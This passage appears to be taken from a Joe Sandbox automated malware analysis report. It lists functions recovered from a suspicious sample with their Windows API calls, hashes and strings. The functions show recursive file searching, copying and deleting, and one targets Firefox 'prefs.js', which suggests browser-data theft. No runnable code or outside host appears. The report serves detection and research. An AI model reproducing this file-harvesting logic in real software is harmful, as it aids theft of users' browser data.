StrCmpCA.SHLWAPI(?,00420F70), ref: 022D3BAE
StrCmpCA.SHLWAPI(?,00420F74), ref: 022D3BC4
FindNextFileA.KERNEL32(000000FF,?), ref: 022D3ECE
FindClose.KERNEL32(000000FF), ref: 022D3EE3

Strings

p0y, xrefs: 022D3C10, 022D3C16

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: p0y
API String ID: 1125553467-1563381289
Opcode ID: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction ID: 1066e3c39b1f81d2f411ea1698320819f831a69e9a64e3360de4029f00056572
Opcode Fuzzy Hash: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction Fuzzy Hash: 30A14CB5A50218ABDB34DFE4DC84FEE737AEF49300F444588A60D96184DB759B84CF62

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\*, xrefs: 00414920
%s\%s, xrefs: 004149FB
%s\%s, xrefs: 004149A4

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: f64dd78f470d60d5e6684bba1db7ab347a0029ed743c8e05a62c1da31839ea41
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: f64dd78f470d60d5e6684bba1db7ab347a0029ed743c8e05a62c1da31839ea41
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 022CC0D7 Relevance: 32.2, APIs: 17, Strings: 1, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 022CC15C
StrCmpCA.SHLWAPI(?,004213F8), ref: 022CC1B4
StrCmpCA.SHLWAPI(?,004213FC), ref: 022CC1CA
FindNextFileA.KERNEL32(000000FF,?), ref: 022CCA26
FindClose.KERNEL32(000000FF), ref: 022CCA38

Strings

01y, xrefs: 022CC935, 022CC93A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: 01y
API String ID: 3334442632-883880616
Opcode ID: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction ID: 6838eef1c4913893f4c1992d87d2389059b9b57752a1db7473e3c252ff4a5332
Opcode Fuzzy Hash: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction Fuzzy Hash: 6D428472A20344ABCB18FBF4DD95EED737AAF94300F50466DA50A92188EF349B48CF51

Function 00414570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
HeapAlloc.KERNEL32(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcatA.KERNEL32(?,00793010,?,00000104), ref: 004146C5
lstrcatA.KERNEL32(?,00799E00), ref: 004146D8
lstrlenA.KERNEL32(?), ref: 004146E5
lstrlenA.KERNEL32(?), ref: 004146F6

Strings

%s\*, xrefs: 0041459A
%s\%s, xrefs: 0041461B

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: b19de660a787c585203e961524785ef4f8c7c5ebf2fdcdf8f42e36bc1f4495a2
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: b19de660a787c585203e961524785ef4f8c7c5ebf2fdcdf8f42e36bc1f4495a2
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 022D4B77 Relevance: 27.2, APIs: 18, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 022D4B93
FindFirstFileA.KERNEL32(?,?), ref: 022D4BAA
StrCmpCA.SHLWAPI(?,00420FDC), ref: 022D4BD8
StrCmpCA.SHLWAPI(?,00420FE0), ref: 022D4BEE
FindNextFileA.KERNEL32(000000FF,?), ref: 022D4DE4
FindClose.KERNEL32(000000FF), ref: 022D4DF9

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction ID: b9aaf4416e7997b520c2cf88d084e511b77004a1ba1774869d2526450b502d8f
Opcode Fuzzy Hash: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction Fuzzy Hash: 176174B5950218ABCB20EFE0DD48FEA73BDFB49700F04468CB60992144EB75A785CF91

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 99b6f57015465be570b51e732a918a206cfe933a16528d1161771a5eb7529697
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 99b6f57015465be570b51e732a918a206cfe933a16528d1161771a5eb7529697
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 022D47D7 Relevance: 22.6, APIs: 15, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 022D47E7
RtlAllocateHeap.NTDLL(00000000), ref: 022D47EE
wsprintfA.USER32 ref: 022D480D
FindFirstFileA.KERNEL32(?,?), ref: 022D4824
StrCmpCA.SHLWAPI(?,00420FC4), ref: 022D4852
StrCmpCA.SHLWAPI(?,00420FC8), ref: 022D4868
FindNextFileA.KERNEL32(000000FF,?), ref: 022D48F2
FindClose.KERNEL32(000000FF), ref: 022D4907
lstrcat.KERNEL32(?,0064A524), ref: 022D492C
lstrcat.KERNEL32(?,0064A22C), ref: 022D493F
lstrlen.KERNEL32(?), ref: 022D494C
lstrlen.KERNEL32(?), ref: 022D495D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID:
API String ID: 671575355-0
Opcode ID: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction ID: ba0894c112826841ce49ab20c12b670ecba8938e0678e20dd9e74fc91c0c0c67
Opcode Fuzzy Hash: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction Fuzzy Hash: E55184B5590218ABCB20EBF0DD89FED737DEB58300F404698E60992194DB75DB85CF91

Function 0040DE10 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

(Py, xrefs: 0040E119
\*.*, xrefs: 0040DE26
1y, xrefs: 0040DF7E
4@, xrefs: 0040DE32, 0040E400, 0040DEF3, 0040DE75, 0040DEF6

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 1y$(Py$4@$\*.*
API String ID: 2325840235-1778078017
Opcode ID: 2fdb38499aad82abd71ff5b0795ef68458680d2d1f732a1e4f71a59c5be8a5c9
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: 2fdb38499aad82abd71ff5b0795ef68458680d2d1f732a1e4f71a59c5be8a5c9
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 0040ED20 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32
1y, xrefs: 0040EF39

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: 1y$%s\*.*
API String ID: 180737720-2430506319
Opcode ID: 7c62be60ea4ce17a6daee6ca2e1ad8d80329f85963da6490b9882dd3eef46d84
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 7c62be60ea4ce17a6daee6ca2e1ad8d80329f85963da6490b9882dd3eef46d84
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 022D4107 Relevance: 18.1, APIs: 12, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 022D412A
FindFirstFileA.KERNEL32(?,?), ref: 022D4141
StrCmpCA.SHLWAPI(?,00420FAC), ref: 022D416F
StrCmpCA.SHLWAPI(?,00420FB0), ref: 022D4185
FindNextFileA.KERNEL32(000000FF,?), ref: 022D42D3
FindClose.KERNEL32(000000FF), ref: 022D42E8

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction ID: 6501806b08a4fed1177d4c872606f0604e1a06ec39a6c55b95085a1529e145ce
Opcode Fuzzy Hash: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction Fuzzy Hash: EA5160B6910218BBCB24FBF0DC85EEA737DBB48300F00468CA64996084DB75DB89CF95

Function 022CEF87 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 022CEFA5
FindFirstFileA.KERNEL32(?,?), ref: 022CEFBC
StrCmpCA.SHLWAPI(?,00421538), ref: 022CF012
StrCmpCA.SHLWAPI(?,0042153C), ref: 022CF028
FindNextFileA.KERNEL32(000000FF,?), ref: 022CF515
FindClose.KERNEL32(000000FF), ref: 022CF52A

Strings

1y, xrefs: 022CF1A0, 022CF1A6

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: 1y
API String ID: 180737720-680022488
Opcode ID: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction ID: 1ca196779bf9abba4127a6ffd933e51f55a8475974a1aca6187a0ff5a0075863
Opcode Fuzzy Hash: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction Fuzzy Hash: B1E1FE729217589ADB18FBA4DD51EEE733AAF64300F4042DDB10A62199EF346F89CF50

Function 022CE077 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,004214C0,00420C2E), ref: 022CE0C5
StrCmpCA.SHLWAPI(?,004214C8), ref: 022CE115
StrCmpCA.SHLWAPI(?,004214CC), ref: 022CE12B
FindNextFileA.KERNEL32(000000FF,?), ref: 022CE647
FindClose.KERNEL32(000000FF), ref: 022CE659

Strings

(Py, xrefs: 022CE380, 022CE386
1y, xrefs: 022CE1E5, 022CE1EA

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 1y$(Py
API String ID: 2325840235-3814263721
Opcode ID: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction ID: 8a0ef9a0c31247a6117b3ea5f823eb80146446be3f2978b4b126225db92abeaf
Opcode Fuzzy Hash: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction Fuzzy Hash: F3F1CF715207189ACB19FBA4DD95EEE733ABF25300F5442DEA04A62194EF346F89CF50

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c63fd1c20efeb8716f133c94eea4b1cf0d084daeba1700bb8994144291ed7823
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: c63fd1c20efeb8716f133c94eea4b1cf0d084daeba1700bb8994144291ed7823
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 0040E430 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

@0y, xrefs: 0040E6CF, 0040E7FF, 0040E96F
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E
(Py, xrefs: 0040E602
\*.*, xrefs: 0040E44D

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: (Py$@0y$\*.*$@
API String ID: 433455689-2564832314
Opcode ID: 288ae8b34450d827941acc5218e6ee79c7fc578ee834c59a64948c78c4617425
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 288ae8b34450d827941acc5218e6ee79c7fc578ee834c59a64948c78c4617425
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042511C,?,00401F2C,?,004251C4,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,0042526C), ref: 00401973
StrCmpCA.SHLWAPI(?,00425314), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: b05b312c236247dd8bb4291ae9665c13a99689da75fb9ac0a03e7b6d5e9b60d0
Instruction ID: 47de987318eafb428d6e9afc63df3879dd5ba7490b623eb573f4dfe72a2f4575
Opcode Fuzzy Hash: b05b312c236247dd8bb4291ae9665c13a99689da75fb9ac0a03e7b6d5e9b60d0
Instruction Fuzzy Hash: 641260719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 022CDCE7 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 022CDD52
StrCmpCA.SHLWAPI(?,004214B4), ref: 022CDD9A
StrCmpCA.SHLWAPI(?,004214B8), ref: 022CDDB0
FindNextFileA.KERNEL32(000000FF,?), ref: 022CE033
FindClose.KERNEL32(000000FF), ref: 022CE045

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

